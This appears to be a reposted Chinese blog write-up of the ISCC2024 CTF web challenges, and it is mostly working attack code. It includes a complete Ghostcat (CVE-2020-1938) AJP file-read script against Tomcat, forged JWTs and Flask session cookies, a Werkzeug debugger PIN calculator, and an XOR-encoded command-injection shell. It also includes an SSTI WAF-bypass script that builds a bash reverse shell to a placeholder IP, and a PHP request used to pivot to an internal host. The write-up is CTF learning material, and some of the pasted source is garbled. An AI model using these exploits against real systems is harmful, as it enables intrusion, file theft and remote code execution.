首页 > 其他分享 >ISCC2024个人挑战赛WP-WEB

ISCC2024个人挑战赛WP-WEB

时间:2024-05-26 18:01:46浏览次数:10  
标签:WEB return name stream self ISCC2024 WP print def

(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考) 

还没想好名字的塔防游戏

GET /world.js HTTP/1.1

Host: 101.200.138.180:17345

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

Eagles Sculpt Clouds Silver Lakes Glitter Wolves Whisper Moonlight

ISCC{MDWTSGTMMESCSLGWWM}

游戏英文名和提示的所有英文大写拼起来就是flag

代码审计

和这个思路基本吻合

De1ctf之SSRF ME多种方法-CSDN博客

原神启动

随便访问了一个路径,显示文件不存在,404错误,下面给出了Apache Tomcat的版本8.5.32

可以看到这个版本存在CVE漏洞

CVE-2020-1938       任意文件读取

拿通用Poc就能打。

import struct

def pack_string(s):

    if s is None:

        return struct.pack(">h", -1)

    l = len(s)

    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

def unpack(stream, fmt):

    size = struct.calcsize(fmt)

    buf = stream.read(size)

    return struct.unpack(fmt, buf)

def unpack_string(stream):

    size, = unpack(stream, ">h")

    if size == -1: # null string

        return None

    res, = unpack(stream, "%ds" % size)

    stream.read(1) # \0

    return res

class NotFoundException(Exception):

    pass

class AjpBodyRequest(object):

    # server == web server, container == servlet

    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):

        self.data_stream = data_stream

        self.data_len = data_len

        self.data_direction = data_direction

    def serialize(self):

        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)

        if len(data) == 0:

            return struct.pack(">bbH", 0x12, 0x34, 0x00)

        else:

            res = struct.pack(">H", len(data))

            res += data

        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:

            header = struct.pack(">bbH", 0x12, 0x34, len(res))

        else:

            header = struct.pack(">bbH", 0x41, 0x42, len(res))

        return header + res

    def send_and_receive(self, socket, stream):

        while True:

            data = self.serialize()

            socket.send(data)

            r = AjpResponse.receive(stream)

            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:

                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:

                break

class AjpForwardRequest(object):

    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)

    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}

    # server == web server, container == servlet

    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

    COMMON_HEADERS = ["SC_REQ_ACCEPT",

        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",

        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",

        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"

    ]

    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):

        self.prefix_code = 0x02

        self.method = None

        self.protocol = None

        self.req_uri = None

        self.remote_addr = None

        self.remote_host = None

        self.server_name = None

        self.server_port = None

        self.is_ssl = None

        self.num_headers = None

        self.request_headers = None

        self.attributes = None

        self.data_direction = data_direction

    def pack_headers(self):

        self.num_headers = len(self.request_headers)

        res = ""

        res = struct.pack(">h", self.num_headers)

        for h_name in self.request_headers:

            if h_name.startswith("SC_REQ"):

                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1

                res += struct.pack("BB", 0xA0, code)

            else:

                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])

        return res

    def pack_attributes(self):

        res = b""

        for attr in self.attributes:

            a_name = attr['name']

            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1

            res += struct.pack("b", code)

            if a_name == "req_attribute":

                aa_name, a_value = attr['value']

                res += pack_string(aa_name)

                res += pack_string(a_value)

            else:

                res += pack_string(attr['value'])

        res += struct.pack("B", 0xFF)

        return res

    def serialize(self):

        res = ""

        res = struct.pack("bb", self.prefix_code, self.method)

        res += pack_string(self.protocol)

        res += pack_string(self.req_uri)

        res += pack_string(self.remote_addr)

        res += pack_string(self.remote_host)

        res += pack_string(self.server_name)

        res += struct.pack(">h", self.server_port)

        res += struct.pack("?", self.is_ssl)

        res += self.pack_headers()

        res += self.pack_attributes()

        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:

            header = struct.pack(">bbh", 0x12, 0x34, len(res))

        else:

            header = struct.pack(">bbh", 0x41, 0x42, len(res))

        return header + res

    def parse(self, raw_packet):

        stream = StringIO(raw_packet)

        self.magic1, self.magic2, data_len = unpack(stream, "bbH")

        self.prefix_code, self.method = unpack(stream, "bb")

        self.protocol = unpack_string(stream)

        self.req_uri = unpack_string(stream)

        self.remote_addr = unpack_string(stream)

        self.remote_host = unpack_string(stream)

        self.server_name = unpack_string(stream)

        self.server_port = unpack(stream, ">h")

        self.is_ssl = unpack(stream, "?")

        self.num_headers, = unpack(stream, ">H")

        self.request_headers = {}

        for i in range(self.num_headers):

            code, = unpack(stream, ">H")

            if code > 0xA000:

                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]

            else:

                h_name = unpack(stream, "%ds" % code)

                stream.read(1) # \0

            h_value = unpack_string(stream)

            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):

        res = []

        i = socket.sendall(self.serialize())

        if self.method == AjpForwardRequest.POST:

            return res

        r = AjpResponse.receive(stream)

        assert r.prefix_code == AjpResponse.SEND_HEADERS

        res.append(r)

        if save_cookies and 'Set-Cookie' in r.response_headers:

            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets

        while True:

            r = AjpResponse.receive(stream)

            res.append(r)

            if r.prefix_code == AjpResponse.END_RESPONSE:

                break

            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:

                continue

            else:

                raise NotImplementedError

                break

        return res

class AjpResponse(object):

    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)

    COMMON_SEND_HEADERS = [

            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",

            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"

            ]

    def parse(self, stream):

        # read headers

        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:

            self.parse_send_headers(stream)

        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:

            self.parse_send_body_chunk(stream)

        elif self.prefix_code == AjpResponse.END_RESPONSE:

            self.parse_end_response(stream)

        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:

            self.parse_get_body_chunk(stream)

        else:

            raise NotImplementedError

    def parse_send_headers(self, stream):

        self.http_status_code, = unpack(stream, ">H")

        self.http_status_msg = unpack_string(stream)

        self.num_headers, = unpack(stream, ">H")

        self.response_headers = {}

        for i in range(self.num_headers):

            code, = unpack(stream, ">H")

            if code <= 0xA000: # custom header

                h_name, = unpack(stream, "%ds" % code)

                stream.read(1) # \0

                h_value = unpack_string(stream)

            else:

                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]

                h_value = unpack_string(stream)

            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):

        self.data_length, = unpack(stream, ">H")

        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):

        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):

        rlen, = unpack(stream, ">H")

        return rlen

    @staticmethod

    def receive(stream):

        r = AjpResponse()

        r.parse(stream)

        return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):

    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)

    fr.method = method

    fr.protocol = "HTTP/1.1"

    fr.req_uri = req_uri

    fr.remote_addr = target_host

    fr.remote_host = None

    fr.server_name = target_host

    fr.server_port = 80

    fr.request_headers = {

        'SC_REQ_ACCEPT': 'text/html',

        'SC_REQ_CONNECTION': 'keep-alive',

        'SC_REQ_CONTENT_LENGTH': '0',

        'SC_REQ_HOST': target_host,

        'SC_REQ_USER_AGENT': 'Mozilla',

        'Accept-Encoding': 'gzip, deflate, sdch',

        'Accept-Language': 'en-US,en;q=0.5',

        'Upgrade-Insecure-Requests': '1',

        'Cache-Control': 'max-age=0'

    }

    fr.is_ssl = False

    fr.attributes = []

    return fr

class Tomcat(object):

    def __init__(self, target_host, target_port):

        self.target_host = target_host

        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        self.socket.connect((target_host, target_port))

        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):

        self.req_uri = req_uri

        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))

        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))

        if user is not None and password is not None:

            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:

            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:

            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)

        if len(responses) == 0:

            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]

        if len(data_res) == 0:

            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)

        return snd_hdrs_res, data_res

'''

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

'''

import argparse

parser = argparse.ArgumentParser()

parser.add_argument("target", type=str, help="Hostname or IP to attack")

parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")

parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")

args = parser.parse_args()

t = Tomcat(args.target, args.port)

_,data = t.perform_request('/asdf',attributes=[

    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},

    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},

    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},

    ])

print('----------------------------')

print("".join([d.data for d in data]))

前面题目提示了flag在flag.txt,但根目录的flag.txt是假的flag,那么可以去Java的WEB默认目录WEB-INF找,发现在/WEB-INF/flag.txt下

python2 1.py -101.200.138.180 -p 8009 -f /WEB-INF/flag.txt

Flask中的pin值计算

要计算flask pin的码,首先拿到几个参数,按以下步骤,

1、先看源码 L2dldHVzZXJuYW1l,解密/getusername,问田螺“告诉我username是什么”,拿到username是pincalculate

访问该路由输入app之后提示访问/crawler,需要在1秒内计算,写个代码,

import requests

url1='http://101.200.138.180:10006/crawler?answer='
url='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result = eval(math1)
result=str(result)
res2=s.get(url1+result)
print(res2.text)

得到结果

<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>

2、继续访问/woddenfish路由,点击多少次都是显示公德不足,查看一下源码拿到jwt是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc,解jwt得到{ "name": "donate","quantity": 1},代码获取公德值是这一段

document.querySelector('h1').textContent = '当前功德:' + data.gongde;
                document.querySelectorAll('h1')[1].textContent = data.message;

那么我们要先将donate换成gongde,然后quantity设置很大,根据源码jwt的key是ISCC_muyu_2024

构造jwt如下,拿到jwt为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwMH0.x6-VS-GxFVLdgjkP6eDWWg1qSuFBe6hZntt5GHUysho

image

然后传jwt,得到了,佛曰:功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id

image

3、继续访问/machine_id路由,点一下vip拿到一个jwt,点supervip身份无法匹配,解jwt是

{
  "exp": 1714575775,
  "iat": 1714572175,
  "jti": "XAPsSANxSpKZ_nnYpP8C7A",
  "nbf": 1714572175,
  "role": "member",
  "username": "ISCCmember"
}

需要改role为supervip才行,使用脚本构造jwt

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ'))
#{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

使用构造好的传参

GET /vipprice?token={"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9","payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

得到结果"welcome_to_iscc_club",应该就是supervip的key,用flask_session_cookie_manager3.py

python flask_session_cookie_manager3.py encode -s "welcome_to_iscc_club" -t "{'role': 'supervip'}"

伪造成 eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjIBhQ.2jMkekdDuFQCN5L61z9ee0C0Big,改cookie 后点supervip得到

acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,这就是machine-id了,自此我们都拿到了

username:pincalculate
modname:flask.app #默认
appname:Flask  #默认
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac:2485378351106 #
machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

pin脚本跑一下

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378351106',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)
#252-749-991

payload:http://101.200.138.180:10006/console?pin=252-749-991

Web 掉进阿帕奇的工资

  1. 前台功能点测试,发现通过重置密保1取得manager身份登录后台

101.200.138.180_60000_regist.php (1)

101.200.138.180_60000_forgetpass.php (1)

101.200.138.180_60000_home_IS7oKu30kO1sJ99TFgAdN8yV43fvwb2GPiRWBtm65407xMe8.php (1)

  1. 对功能点进行测试,发现工资页面是异或的命令执行,编写exp反弹shell

  1. 信息搜集发现有一个部分的Docfile,结合题意深入阴暗面,猜测需要横向。

  1. 反弹shell之后,用PHP CLI构造一个GET请求,得到响应验证的确是一个nginx服务,访问/flag拿到flag:

php -r "\$url = 'http://secret.host/flag'; \$options = ['http' => ['ignore_errors' => true]]; \$context = stream_context_create(\$options); \$content = file_get_contents(\$url, false, \$context); if (\$content !== false) { echo \$content; } else { echo 'Failed to fetch content.'; }"

Exp

import requests

from bs4 import BeautifulSoup

import re

headers = {

    "Origin": "http://101.200.138.180:60000",

    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",

}

cookies = {

    "PHPSESSID": "",

}

preg_match = "flag|system|php|cat|sort|shell|\.| |'|\`|echo|\;|\(|\""

alphabet = [chr(i) for i in range(256)]

# print(alphabet)

alphabet = [c for c in alphabet if not re.match(preg_match, c)]

xor_alphabet = {}

for a in alphabet:

    for b in alphabet:

        if a == "'" or b == "'" or a == '"' or b == '"':

            continue

        c = chr(ord(a) ^ ord(b))

        if not xor_alphabet.get(c):

            xor_alphabet[c] = (a, b)

def xor_encode(payload):

    s1 = ""

    s2 = ""

    for c in payload:

        if c not in xor_alphabet:

            raise Exception(f"Invalid character '{c}' in payload")

        s1 += xor_alphabet[c][0]

        s2 += xor_alphabet[c][1]

return s1, s2

def runcmd(cmd):

    # URL and headers for the POST request

url = "http://101.200.138.180:60000/gongzi_iscc.php"

    # Encoding the command

basic_salary, performance_coefficient = xor_encode(cmd)

    # print(f"basic_salary: {basic_salary}")

# print(f"performance_coefficient: {performance_coefficient}")

    # Preparing the POST data

    data = {

        "basicSalary": basic_salary,

        "performanceCoefficient": performance_coefficient,

        "calculate": "1",

}

    # Sending the POST request

response = requests.post(url, headers=headers, cookies=cookies, data=data)

# print(response.text)

    # Parse the HTML with BeautifulSoup

soup = BeautifulSoup(response.text, "html.parser")

    # Extract the value from <div class="result-box">

    result_box = soup.find("div", class_="result-box")

    if result_box:

        extracted_value = (

            result_box.text.strip()

        )  # Using strip() to remove any surrounding whitespace

        # Remove the input command from the output if it appears

        return extracted_value

    else:

        return "None"

def get():

    payload = f"php -r \"\\$base_url = 'http://secret.host/'; \\$query_string = '';  \\$url = \\$base_url . '?' . \\$query_string; \\$options = ['http' => ['ignore_errors' => true]]; \\$context = stream_context_create(\\$options); \\$response = @get_headers(\\$url, 1, \\$context); print_r(\\$response);\""

return runcmd(payload)

def main():

    while True:

        cmd = input(">>").strip()

        if cmd == "exit":

            break

        print(runcmd(cmd))

if __name__ == "__main__":

    main()

回来吧永远滴神

查看网页源代码,提示第一个 Flag 在看得见的地方: 提交答案进入隐藏关卡: 判断是 SSTI ,并且存在 waf :

SSTI一把梭反弹shell:

import functools import time import requests from fenjing import exec_cmd_payload url = "http://101.200.138.180:16356/evlelLL/646979696775616e" # session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE-T5iRTAmIfSy5szAO9ZMgkA cookies = { 'session' : 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE T5iRTAmIfSy5szAO9ZMgkA' } @functools . lru_cache ( 1000 ) def waf ( payload : str ): # 如果字符串 s 可以通过 waf 则返回 True, 否则返回 False time . sleep ( 0.02 ) # 防止请求发送过多 resp = requests . post ( url , headers = headers , cookies = cookies , timeout = 10 , data = { "iIsGod" : payload }) # print(resp.text) return " 大胆 " not in resp . text if __name__ == "__main__" : shell_payload , will_print = exec_cmd_payload ( waf , 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"' ) if not will_print : print ( " 这个 payload 不会产生回显! " ) print ( f" { shell_payload = } " )

 跑出来payload并发送:

读到Flag[2]和Flag[1] 

 源码dump下来,审计:

# -*- coding: utf-8 -*- from flask import Flask , request , render_template , render_template_string , jsonify , session , redirect , url_for , current_app from level import level app = Flask ( import_name = __name__ , static_url_path = '/static' , static_folder = 'static' , template_folder = 'templates' ) app . secret_key = 'GVASDGDJGHiAsdfgmkdfjAhSljkD.IjOdrgSsddggkhukDdHAGOTJSFGLDGSADASSGDFJGHKJF DG ' # 随机生成的安全秘钥 @app . route ( '/' ) @app . route ( '/index' ) def index (): # Session 存储在服务器上,而 Cookie 存储在用户浏览器上 session . pop ( 'answers_correct' , None ) # 从 session 中移 除 'answers_correct' 键,否则返回 None return render_template ( 'index.html' ) # 通过 render_template 函数渲染并返回 index.html 模板 @app . route ( '/submit-answers' , methods = [ 'POST' ]) def submit_answers (): # 从 POST 请求中获取答案并判断是否与正确答案匹配 answer1 = request . form . get ( 'answer1' ) answer2 = request . form . get ( 'answer2' ) answer3 = request . form . get ( 'answer3' ) correct_answers = { 'answer1' : 'VN' , 'answer2' : ' 卡莎 ' , 'answer3' : ' 小狗 ' } # 如果全部匹配,设置 session 'answers_correct' 为真并返回一个表示成功的 JSON 响应 if answer1 == correct_answers [ 'answer1' ] and answer2 == correct_answers [ 'answer2' ] and answer3 == correct_answers [ 'answer3' ]: session [ 'answers_correct' ] = True return jsonify ( success = True ) # 如果不匹配,返回一个包含错误信息的 JSON 响应 else : return jsonify ( error = ' 对神的膜拜不够虔诚!伟大的神决定再给你一次机会,务必好 好珍惜! ' ) @app . route ( '/evlelLL/<path:hex_str>' , methods = [ 'GET' , 'POST' ]) def level1 ( hex_str ): # 检查用户是否已经通过验证 if not session . get ( 'answers_correct' ): return redirect ( url_for ( 'caught' )) # 如果用户 session 中不存 在 'answers_correct' 键(即未通过验证),重定向用户到 'caught' 路由对应的页面 decoded_str = '' # 在这里初始化 decoded_str try : # 尝试将 16 进制字符串解码为字节,然后解码为 utf-8 格式的字符串 decoded_str = bytes . fromhex ( hex_str ). decode ( 'utf-8' ) except ValueError : # 如果出现解码错误,可能是因为提供的不是有效的 16 进制字符串 lev = 100 # 设置 lev 的值 if decoded_str == 'diyiguan' : lev = 1 elif decoded_str == 'meixiangdaoba' : lev = 2 else : lev = 100 if request . method == "GET" : # 如果当前请求是 GET 方法,函数将渲染并返回 level.html 模板 if lev == 1 : message = " 恭喜你发现隐藏关卡! " placeholder = " 该提交什么呢?我可能会告诉你一些有用的信息喔! " elif lev == 2 : message = " 不愧是你!第二关就在这里喔! " placeholder = " 这里需要输入的是什么呢? " elif lev == 100 : message = " 未知的关卡 " placeholder = " 似乎走错了地方 " return render_template ( "level.html" , level = lev , message = message , placeholder = placeholder ) try : custom_message_1 = "\n 恭喜你!请同时收好通往最终虚空的第一条必备信息: ch4Os_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n" custom_message_1_1 = "ZTU4MWI3ZTU4MWI3ZTU5MThhZThhZjg5ZTRiZGEwZWZiYzhjZTU4NWI2ZTVhZTllZThiZjk4ZT Y5Yzg5ZTU4ZmE2ZTVhNDk2ZTRiODgwZTU4NWIzZWZiYzgx" + \ "NmQ2NTY5Nzg2OTYxNmU2NzY0NjE2ZjYyNjE=" custom_message_2 = "\n 恭喜你!请同时收好通往最终虚空的第二条必备信息: _xi4oHmdm" custom_message_3 = "\n 将两条必备信息连接起来,然后访问吧! " code = request . form . get ( 'iIsGod' ) # 从 POST 请求的表单数据中获取名为 iIsGod 的字段值 level_func = 'level' + str ( lev ) # 动态构建字符串,用于表示函数名 call_obj = getattr ( level , level_func ) # 从 level 模块获取名为 level_func 的函数 res = call_obj ( code ) # 将获取到的 iIsGod 字段值作为参数传递给上述函数 current_app . logger . info ( " 攻击 Payload : %s" , res ) # 使用 Flask 的日志记录 功能打印结果 rendered_content = render_template_string ( " 神说: %s" % res ) # 将执行结 果 res 嵌入到字符串中,并使用 render_template_string 渲染 rendered = render_template_string ( "%s" % res ) current_app . logger . info ( " 回显内容: %s" , rendered_content ) # 使用 Flask 的日志记录功能打印结果 # 添加不同关卡的回显逻辑 if lev == 1 and ( res == rendered or "Flag[1]:" in rendered_content or "_frozen_importlib_external.FileLoader" in rendered_content or " ['<', 'C', 'o', 'n', 'f', 'i', 'g'," in rendered_content ): # if lev == 1: # debug current_app . logger . info ( " 第一关的安全结果: %s" , rendered_content ) if "Flag[1]:" in rendered_content : rendered_content = rendered_content + custom_message_1 + custom_message_1_1 return rendered_content elif lev == 2 and ( res == rendered or "Flag[2]:" in rendered_content ): # elif lev == 2: # debug current_app . logger . info ( " 第二关的安全结果: %s" , rendered_content ) if "Flag[2]:" in rendered_content : rendered_content = rendered_content + custom_message_2 + custom_message_3 return rendered_content else : return " 神说: \n" + \ "

标签:WEB,return,name,stream,self,ISCC2024,WP,print,def
From: https://blog.csdn.net/qq_59468567/article/details/139216201

相关文章

  • LVS精益价值管理系统LVS.Web.ashx存在SQL注入漏洞
